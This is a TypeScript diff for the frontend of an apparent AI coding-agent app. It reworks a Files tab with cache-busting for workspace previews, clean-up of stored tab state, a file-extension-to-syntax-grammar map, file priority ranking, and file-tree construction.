@@ -131,7 +130,7 @@ export const useConversationStore = create<ConversationStore>()(
|
||||
(set) => ({
|
||||
// Initial state
|
||||
isRightPanelShown: getInitialRightPanelState(),
|
||||
selectedTab: "editor" as ConversationTab,
|
||||
selectedTab: "files" as ConversationTab,
|
||||
images: [],
|
||||
files: [],
|
||||
uploadImagesAsFiles: false,
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
import { create } from "zustand";
|
||||
|
||||
/**
|
||||
* Monotonic counter that ticks every time the agent commits a file-editor
|
||||
* mutation in the workspace. Used as a cache-buster for resources we serve
|
||||
* via the agent server's static workspace fileserver (iframes, images, PDFs):
|
||||
* appending `?v=<count>` to those URLs forces the browser to re-request a
|
||||
* fresh copy after each edit instead of reusing the previously-fetched
|
||||
* response — important because the rendered HTML may reference other
|
||||
* assets (CSS, images) that the user can't see directly but expects to
|
||||
* reflect the latest version of the workspace.
|
||||
*
|
||||
* Consumers:
|
||||
* - {@link useAutoRefreshFilesOnEdit} bumps this on each mutation event.
|
||||
* - {@link FileContentViewer} reads the count and appends it to its
|
||||
* `<iframe>` / `<img>` src.
|
||||
*/
|
||||
interface WorkspaceMutationCounterState {
|
||||
count: number;
|
||||
bump: () => void;
|
||||
}
|
||||
|
||||
export const useWorkspaceMutationCounter =
|
||||
create<WorkspaceMutationCounterState>((set) => ({
|
||||
count: 0,
|
||||
bump: () => set((state) => ({ count: state.count + 1 })),
|
||||
}));
|
||||
|
||||
/**
|
||||
* Append the current mutation counter as a `v=<n>` query parameter so the
|
||||
* browser refetches the URL after every agent-side edit. Returns `null` if
|
||||
* the input is `null` so callers can pass through optional URLs untouched.
|
||||
*/
|
||||
export function withWorkspaceCacheBuster(url: string, version: number): string;
|
||||
export function withWorkspaceCacheBuster(
|
||||
url: string | null,
|
||||
version: number,
|
||||
): string | null;
|
||||
export function withWorkspaceCacheBuster(
|
||||
url: string | null,
|
||||
version: number,
|
||||
): string | null {
|
||||
if (url === null) return null;
|
||||
const sep = url.includes("?") ? "&" : "?";
|
||||
return `${url}${sep}v=${version}`;
|
||||
}
|
||||
@@ -3,6 +3,7 @@ import type {
|
||||
ConversationTab,
|
||||
ConversationMode,
|
||||
} from "#/stores/conversation-store";
|
||||
import type { ViewMode } from "#/components/features/files-tab/view-mode";
|
||||
|
||||
export const LOCAL_STORAGE_KEYS = {
|
||||
CONVERSATION_STATE: "conversation-state",
|
||||
@@ -24,17 +25,79 @@ export interface ConversationState {
|
||||
conversationMode: ConversationMode;
|
||||
subConversationTaskId: string | null;
|
||||
draftMessage: string | null;
|
||||
/**
|
||||
* User's persisted choice for the Files tab diff-vs-files toggle.
|
||||
* `null` means "no explicit choice yet" — the Files tab then falls back
|
||||
* to its repo-aware default (diff inside a git repo with commits, files
|
||||
* otherwise).
|
||||
*/
|
||||
filesTabDiffView: boolean | null;
|
||||
/** User's persisted choice for the Files tab Rich/Plain content toggle. */
|
||||
filesTabContentViewMode: ViewMode;
|
||||
}
|
||||
|
||||
const DEFAULT_CONVERSATION_STATE: ConversationState = {
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
};
|
||||
|
||||
const VALID_CONVERSATION_TABS: ReadonlySet<ConversationTab> = new Set([
|
||||
"files",
|
||||
"browser",
|
||||
"vscode",
|
||||
"terminal",
|
||||
"planner",
|
||||
"tasklist",
|
||||
]);
|
||||
|
||||
// Tab keys that *used to* exist and were removed during the Files tab
|
||||
// refactor. We strip these out of any persisted state on read so that
|
||||
// returning users don't keep ghost entries (in `selectedTab` or
|
||||
// `unpinnedTabs`) forever — the UI has no way to surface them again to
|
||||
// be re-pinned or re-selected. We deliberately use an explicit denylist
|
||||
// here rather than a strict "whitelist against VALID_CONVERSATION_TABS"
|
||||
// filter because `unpinnedTabs` is typed `string[]` and other parts of
|
||||
// the app legitimately store arbitrary tab keys in it (sub-conversation
|
||||
// tab ids etc.).
|
||||
const REMOVED_CONVERSATION_TABS: ReadonlySet<string> = new Set([
|
||||
"editor",
|
||||
"served",
|
||||
"changes",
|
||||
"app",
|
||||
]);
|
||||
|
||||
function sanitizeStoredState(
|
||||
stored: Partial<ConversationState>,
|
||||
): Partial<ConversationState> {
|
||||
let result: Partial<ConversationState> = stored;
|
||||
|
||||
if (
|
||||
result.selectedTab != null &&
|
||||
(REMOVED_CONVERSATION_TABS.has(result.selectedTab) ||
|
||||
!VALID_CONVERSATION_TABS.has(result.selectedTab as ConversationTab))
|
||||
) {
|
||||
result = { ...result };
|
||||
delete result.selectedTab;
|
||||
}
|
||||
|
||||
if (result.unpinnedTabs) {
|
||||
const filtered = result.unpinnedTabs.filter(
|
||||
(tab) => !REMOVED_CONVERSATION_TABS.has(tab),
|
||||
);
|
||||
if (filtered.length !== result.unpinnedTabs.length) {
|
||||
result = { ...result, unpinnedTabs: filtered };
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a conversation ID is a temporary task ID that should not be persisted.
|
||||
* Task IDs have the format "task-{uuid}" and are used during V1 conversation initialization.
|
||||
@@ -43,20 +106,36 @@ export function isTaskConversationId(conversationId: string): boolean {
|
||||
return conversationId.startsWith("task-");
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether persistence should be skipped for this conversation id.
|
||||
*
|
||||
* Skips:
|
||||
* - empty string ids (callers outside of a conversation route, e.g.
|
||||
* rendered inside a unit test without a NavigationProvider)
|
||||
* - "task-..." ids used as placeholders during V1 conversation
|
||||
* initialization
|
||||
*/
|
||||
function shouldSkipPersistence(conversationId: string): boolean {
|
||||
return conversationId === "" || isTaskConversationId(conversationId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the full conversation state from localStorage.
|
||||
*/
|
||||
export function getConversationState(
|
||||
conversationId: string,
|
||||
): ConversationState {
|
||||
if (isTaskConversationId(conversationId)) {
|
||||
if (shouldSkipPersistence(conversationId)) {
|
||||
return DEFAULT_CONVERSATION_STATE;
|
||||
}
|
||||
try {
|
||||
const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`;
|
||||
const item = localStorage.getItem(key);
|
||||
if (item !== null) {
|
||||
return { ...DEFAULT_CONVERSATION_STATE, ...JSON.parse(item) };
|
||||
return {
|
||||
...DEFAULT_CONVERSATION_STATE,
|
||||
...sanitizeStoredState(JSON.parse(item)),
|
||||
};
|
||||
}
|
||||
return DEFAULT_CONVERSATION_STATE;
|
||||
} catch {
|
||||
@@ -71,7 +150,7 @@ export function setConversationState(
|
||||
conversationId: string,
|
||||
updates: Partial<ConversationState>,
|
||||
): void {
|
||||
if (isTaskConversationId(conversationId)) {
|
||||
if (shouldSkipPersistence(conversationId)) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
@@ -124,6 +203,8 @@ export function useConversationLocalStorageState(conversationId: string): {
|
||||
setUnpinnedTabs: (tabs: string[]) => void;
|
||||
setConversationMode: (mode: ConversationMode) => void;
|
||||
setDraftMessage: (message: string | null) => void;
|
||||
setFilesTabDiffView: (diffView: boolean | null) => void;
|
||||
setFilesTabContentViewMode: (mode: ViewMode) => void;
|
||||
} {
|
||||
const [state, setState] = useState<ConversationState>(() =>
|
||||
getConversationState(conversationId),
|
||||
@@ -172,6 +253,14 @@ export function useConversationLocalStorageState(conversationId: string): {
|
||||
}, [conversationId]);
|
||||
|
||||
const updateState = (updates: Partial<ConversationState>) => {
|
||||
if (shouldSkipPersistence(conversationId)) {
|
||||
// No durable storage for this id (empty / task placeholder), but the
|
||||
// hook is still useful as ephemeral in-memory state — update the
|
||||
// local React mirror directly so toggles in the UI behave normally
|
||||
// until a real conversation id arrives.
|
||||
setState((prev) => ({ ...prev, ...updates }));
|
||||
return;
|
||||
}
|
||||
setConversationState(conversationId, updates);
|
||||
};
|
||||
|
||||
@@ -182,5 +271,9 @@ export function useConversationLocalStorageState(conversationId: string): {
|
||||
setUnpinnedTabs: (tabs) => updateState({ unpinnedTabs: tabs }),
|
||||
setConversationMode: (mode) => updateState({ conversationMode: mode }),
|
||||
setDraftMessage: (message) => updateState({ draftMessage: message }),
|
||||
setFilesTabDiffView: (diffView) =>
|
||||
updateState({ filesTabDiffView: diffView }),
|
||||
setFilesTabContentViewMode: (mode) =>
|
||||
updateState({ filesTabContentViewMode: mode }),
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,190 @@
|
||||
// Map a workspace-file path to a Prism grammar name (or `null` when we
|
||||
// don't have a registered grammar for it, in which case the caller should
|
||||
// fall back to plain pre/text rendering).
|
||||
//
|
||||
// We rely on the language allowlist already registered in
|
||||
// `src/components/features/markdown/syntax-highlighter.ts` — every entry
|
||||
// here MUST resolve to either a language name or an alias that file
|
||||
// registers, otherwise PrismLight will fall back to no highlighting at
|
||||
// all (and log a warning).
|
||||
//
|
||||
// Two lookup keys are tried, in order:
|
||||
// 1. The lowercased final-segment extension (`tsx`, `py`, `yaml`, …).
|
||||
// 2. A few well-known no-extension filenames (`Dockerfile`, `Makefile`).
|
||||
// We deliberately keep this list tight: every entry maps a real file
|
||||
// users see in workspaces to a grammar Prism actually understands.
|
||||
const EXTENSION_TO_LANGUAGE: Record<string, string> = {
|
||||
// JS / TS family
|
||||
js: "javascript",
|
||||
jsx: "jsx",
|
||||
mjs: "javascript",
|
||||
cjs: "javascript",
|
||||
ts: "typescript",
|
||||
tsx: "tsx",
|
||||
|
||||
// Python
|
||||
py: "python",
|
||||
pyi: "python",
|
||||
pyw: "python",
|
||||
|
||||
// Web
|
||||
html: "markup",
|
||||
htm: "markup",
|
||||
svg: "markup",
|
||||
xml: "markup",
|
||||
css: "css",
|
||||
scss: "scss",
|
||||
sass: "sass",
|
||||
less: "less",
|
||||
|
||||
// Data / config
|
||||
json: "json",
|
||||
json5: "json5",
|
||||
yaml: "yaml",
|
||||
yml: "yaml",
|
||||
toml: "toml",
|
||||
ini: "ini",
|
||||
cfg: "ini",
|
||||
properties: "properties",
|
||||
conf: "ini",
|
||||
env: "bash",
|
||||
|
||||
// Markdown / docs
|
||||
md: "markdown",
|
||||
markdown: "markdown",
|
||||
mdx: "markdown",
|
||||
|
||||
// Shell / scripts
|
||||
sh: "bash",
|
||||
bash: "bash",
|
||||
zsh: "bash",
|
||||
fish: "bash",
|
||||
bat: "batch",
|
||||
cmd: "batch",
|
||||
ps1: "powershell",
|
||||
ps: "powershell",
|
||||
|
||||
// Systems
|
||||
c: "c",
|
||||
h: "c",
|
||||
cpp: "cpp",
|
||||
cc: "cpp",
|
||||
cxx: "cpp",
|
||||
hpp: "cpp",
|
||||
hh: "cpp",
|
||||
cs: "csharp",
|
||||
java: "java",
|
||||
kt: "kotlin",
|
||||
kts: "kotlin",
|
||||
scala: "scala",
|
||||
rs: "rust",
|
||||
go: "go",
|
||||
rb: "ruby",
|
||||
php: "php",
|
||||
swift: "swift",
|
||||
m: "objectivec",
|
||||
mm: "objectivec",
|
||||
|
||||
// Functional
|
||||
hs: "haskell",
|
||||
ex: "elixir",
|
||||
exs: "elixir",
|
||||
erl: "erlang",
|
||||
fs: "fsharp",
|
||||
fsx: "fsharp",
|
||||
ml: "ocaml",
|
||||
mli: "ocaml",
|
||||
clj: "clojure",
|
||||
cljs: "clojure",
|
||||
cljc: "clojure",
|
||||
|
||||
// Scripting / data
|
||||
lua: "lua",
|
||||
pl: "perl",
|
||||
pm: "perl",
|
||||
r: "r",
|
||||
jl: "julia",
|
||||
dart: "dart",
|
||||
groovy: "groovy",
|
||||
gradle: "groovy",
|
||||
|
||||
// Infrastructure
|
||||
tf: "hcl",
|
||||
hcl: "hcl",
|
||||
dockerfile: "docker",
|
||||
|
||||
// Misc text
|
||||
sql: "sql",
|
||||
graphql: "graphql",
|
||||
gql: "graphql",
|
||||
proto: "protobuf",
|
||||
diff: "diff",
|
||||
patch: "diff",
|
||||
nix: "nix",
|
||||
sol: "solidity",
|
||||
};
|
||||
|
||||
const FILENAME_TO_LANGUAGE: Record<string, string> = {
|
||||
dockerfile: "docker",
|
||||
makefile: "makefile",
|
||||
gnumakefile: "makefile",
|
||||
".bashrc": "bash",
|
||||
".zshrc": "bash",
|
||||
".profile": "bash",
|
||||
".env": "bash",
|
||||
".gitignore": "bash",
|
||||
".dockerignore": "bash",
|
||||
};
|
||||
|
||||
function getExtension(path: string): string {
|
||||
const slashIdx = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\"));
|
||||
const basename = path.slice(slashIdx + 1);
|
||||
const dotIdx = basename.lastIndexOf(".");
|
||||
if (dotIdx <= 0) return "";
|
||||
return basename.slice(dotIdx + 1).toLowerCase();
|
||||
}
|
||||
|
||||
function getBasename(path: string): string {
|
||||
const slashIdx = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\"));
|
||||
return path.slice(slashIdx + 1).toLowerCase();
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a path (and optionally a MIME type) to a Prism grammar name.
|
||||
* Returns `null` when no grammar matches — the caller should then render
|
||||
* the source as plain text rather than feeding "unknown" to Prism (which
|
||||
* still produces an extra wrapper with no highlighting).
|
||||
*/
|
||||
export function getPrismLanguageForFile(
|
||||
path: string,
|
||||
mimeType?: string,
|
||||
): string | null {
|
||||
const basename = getBasename(path);
|
||||
const fromBasename = FILENAME_TO_LANGUAGE[basename];
|
||||
if (fromBasename) return fromBasename;
|
||||
|
||||
const ext = getExtension(path);
|
||||
if (ext && EXTENSION_TO_LANGUAGE[ext]) {
|
||||
return EXTENSION_TO_LANGUAGE[ext];
|
||||
}
|
||||
|
||||
// MIME-type fallbacks for the handful of cases where the path lacks a
|
||||
// useful extension but the server told us what it is.
|
||||
if (mimeType) {
|
||||
if (mimeType === "text/html") return "markup";
|
||||
if (mimeType === "text/css") return "css";
|
||||
if (mimeType === "application/json") return "json";
|
||||
if (mimeType === "text/markdown") return "markdown";
|
||||
if (
|
||||
mimeType === "application/javascript" ||
|
||||
mimeType === "text/javascript"
|
||||
) {
|
||||
return "javascript";
|
||||
}
|
||||
if (mimeType === "application/x-yaml" || mimeType === "text/yaml") {
|
||||
return "yaml";
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
/**
|
||||
* Utilities for ranking workspace files by "importance" so that the file-tab
|
||||
* top-row surfaces the entry points (`index.html`, `README.md`, `package.json`,
|
||||
* etc.) ahead of nested utility modules.
|
||||
*/
|
||||
|
||||
/**
|
||||
* File basenames (lowercased) that are almost always the entrypoint for a
|
||||
* project. Lower index = higher priority.
|
||||
*/
|
||||
const HIGH_PRIORITY_BASENAMES: string[] = [
|
||||
"index.html",
|
||||
"index.htm",
|
||||
"readme.md",
|
||||
"readme",
|
||||
"main.html",
|
||||
"app.html",
|
||||
"index.js",
|
||||
"index.ts",
|
||||
"index.tsx",
|
||||
"index.jsx",
|
||||
"main.py",
|
||||
"app.py",
|
||||
"main.go",
|
||||
"main.rs",
|
||||
"main.java",
|
||||
"main.c",
|
||||
"main.cpp",
|
||||
"package.json",
|
||||
"pyproject.toml",
|
||||
"cargo.toml",
|
||||
"go.mod",
|
||||
"pom.xml",
|
||||
"dockerfile",
|
||||
"makefile",
|
||||
];
|
||||
|
||||
/**
|
||||
* Filenames that are useful but typically of secondary interest compared to
|
||||
* the entrypoints above.
|
||||
*/
|
||||
const SECONDARY_BASENAMES: string[] = [
|
||||
"license",
|
||||
"license.md",
|
||||
"license.txt",
|
||||
"changelog.md",
|
||||
"agents.md",
|
||||
"tsconfig.json",
|
||||
".env.sample",
|
||||
".env.example",
|
||||
];
|
||||
|
||||
function getBasename(path: string): string {
|
||||
const idx = path.lastIndexOf("/");
|
||||
return (idx === -1 ? path : path.slice(idx + 1)).toLowerCase();
|
||||
}
|
||||
|
||||
function pathDepth(path: string): number {
|
||||
return path.split("/").length - 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* Rank a path *within its own depth bucket*: high-priority entrypoints
|
||||
* first (in the order listed), then secondary supporting files, then
|
||||
* everything else. Depth is the primary sort axis applied by
|
||||
* {@link sortFilesByPriority}; this score is the tie-breaker for paths at
|
||||
* the same depth.
|
||||
*/
|
||||
export function filePriorityScore(path: string): number {
|
||||
const base = getBasename(path);
|
||||
|
||||
const highIdx = HIGH_PRIORITY_BASENAMES.indexOf(base);
|
||||
if (highIdx !== -1) return highIdx;
|
||||
|
||||
const secondaryIdx = SECONDARY_BASENAMES.indexOf(base);
|
||||
if (secondaryIdx !== -1) return 1000 + secondaryIdx;
|
||||
|
||||
return 10000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns a copy of `paths` sorted so the most likely "landing files" come
|
||||
* first.
|
||||
*
|
||||
* Sort order:
|
||||
* 1. Shallower paths beat deeper ones, unconditionally. A top-level
|
||||
* `README.md` outranks `foo/bar/index.html` even though `index.html`
|
||||
* is a more "important" basename — the user almost always cares more
|
||||
* about top-level files when they first open a project.
|
||||
* 2. Within the same depth, basenames are ordered by importance
|
||||
* (`index.html` before `README.md` before random utility modules).
|
||||
* 3. Final tie-breaker is alphabetical.
|
||||
*/
|
||||
export function sortFilesByPriority(paths: string[]): string[] {
|
||||
return [...paths].sort((a, b) => {
|
||||
const depthDiff = pathDepth(a) - pathDepth(b);
|
||||
if (depthDiff !== 0) return depthDiff;
|
||||
const scoreDiff = filePriorityScore(a) - filePriorityScore(b);
|
||||
if (scoreDiff !== 0) return scoreDiff;
|
||||
return a.localeCompare(b);
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
export interface FileTreeNode {
|
||||
name: string;
|
||||
path: string; // full path relative to workspace root
|
||||
isDirectory: boolean;
|
||||
children: FileTreeNode[];
|
||||
}
|
||||
|
||||
function sortTreeInPlace(node: FileTreeNode): void {
|
||||
node.children.sort((a, b) => {
|
||||
if (a.isDirectory !== b.isDirectory) return a.isDirectory ? -1 : 1;
|
||||
return a.name.localeCompare(b.name);
|
||||
});
|
||||
for (const child of node.children) {
|
||||
if (child.isDirectory) sortTreeInPlace(child);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a tree representation of a flat list of relative file paths.
|
||||
* Directories are sorted before files; siblings are sorted alphabetically.
|
||||
*
|
||||
* Implementation notes:
|
||||
* - We keep a side-table mapping each parent node to its own
|
||||
* `Map<name, child>` so adding a segment is O(1) instead of the
|
||||
* O(n) `children.find(...)` linear scan we used to do. With a
|
||||
* directory containing 1000 siblings, the old code did ~500k string
|
||||
* comparisons just to bucket them all in; the Map cuts that to
|
||||
* ~1000. The side-table lives only for the duration of the build
|
||||
* call so the public FileTreeNode shape stays clean.
|
||||
* - If we encounter a path like `"src"` followed by `"src/index.ts"`,
|
||||
* the first entry creates `src` as a file (`isDirectory: false`),
|
||||
* then the second needs to add a child to it. We promote the leaf
|
||||
* to a directory in that case rather than dropping the child on
|
||||
* the floor. (The flat input shouldn't normally contain both, but
|
||||
* defensive coding here is cheap and keeps the tree well-formed.)
|
||||
*/
|
||||
|
||||
function getOrCreateChild(
|
||||
parent: FileTreeNode,
|
||||
childMap: Map<FileTreeNode, Map<string, FileTreeNode>>,
|
||||
segment: string,
|
||||
prefix: string,
|
||||
isLast: boolean,
|
||||
): FileTreeNode {
|
||||
let map = childMap.get(parent);
|
||||
if (!map) {
|
||||
map = new Map();
|
||||
childMap.set(parent, map);
|
||||
}
|
||||
const existing = map.get(segment);
|
||||
if (existing) {
|
||||
// Promote a leaf to a directory if we're about to descend into it.
|
||||
if (!isLast && !existing.isDirectory) {
|
||||
existing.isDirectory = true;
|
||||
}
|
||||
return existing;
|
||||
}
|
||||
const node: FileTreeNode = {
|
||||
name: segment,
|
||||
path: prefix,
|
||||
isDirectory: !isLast,
|
||||
children: [],
|
||||
};
|
||||
parent.children.push(node);
|
||||
map.set(segment, node);
|
||||
return node;
|
||||
}
|
||||
|
||||
export function buildFileTree(paths: string[]): FileTreeNode {
|
||||
const root: FileTreeNode = {
|
||||
name: "",
|
||||
path: "",
|
||||
isDirectory: true,
|
||||
children: [],
|
||||
};
|
||||
|
||||
// Side-table mapping a parent node to its child lookup map. Keeping the
|
||||
// accelerator out of the FileTreeNode shape itself means consumers never
|
||||
// see it — no post-build cleanup pass, and the public type stays clean.
|
||||
const childMap = new Map<FileTreeNode, Map<string, FileTreeNode>>();
|
||||
|
||||
for (const path of paths) {
|
||||
const segments = path.split("/").filter(Boolean);
|
||||
if (segments.length > 0) {
|
||||
let cursor: FileTreeNode = root;
|
||||
let prefix = "";
|
||||
for (let i = 0; i < segments.length; i += 1) {
|
||||
const segment = segments[i];
|
||||
prefix = prefix ? `${prefix}/${segment}` : segment;
|
||||
const isLast = i === segments.length - 1;
|
||||
cursor = getOrCreateChild(cursor, childMap, segment, prefix, isLast);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sortTreeInPlace(root);
|
||||
return root;
|
||||
}
|
||||
Reference in New Issue
Block a user